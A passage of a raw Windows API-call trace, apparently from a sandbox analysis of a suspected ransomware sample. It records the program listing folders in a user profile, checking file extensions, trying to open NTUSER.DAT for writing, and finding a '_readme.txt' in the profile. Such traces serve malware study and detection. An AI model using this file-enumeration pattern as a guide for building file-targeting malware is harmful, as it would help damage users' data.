lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116708 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x721070 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x721070 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116918 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31168c0 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0267.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff17f0 [0267.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc445d3e0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc445d3e0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf2ee8f70, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xf2ee8f70, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0267.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ec2e10, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0267.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc458dee0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc458dee0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0267.109] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc451bac0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc451bac0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e573b0, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x48d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0267.110] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0267.110] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e573b0, ftCreationTime.dwHighDateTime=0x1d50369, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x48d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0267.110] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.110] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.110] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.111] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0267.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0267.111] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0267.111] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.111] PathFindFileNameW (pszPath="") returned="" [0267.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec26e750, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xec26e750, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0267.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0267.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc45da1a0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc45da1a0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0267.111] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc45da1a0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc45da1a0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0267.111] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.111] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.111] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0267.111] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0267.112] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0267.112] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.112] PathFindFileNameW (pszPath="") returned="" [0267.112] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc45da1a0, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xc45da1a0, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0267.112] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.112] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.112] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0267.112] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0267.112] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0267.112] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.112] PathFindFileNameW (pszPath="") returned="" [0267.112] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.112] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.112] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", 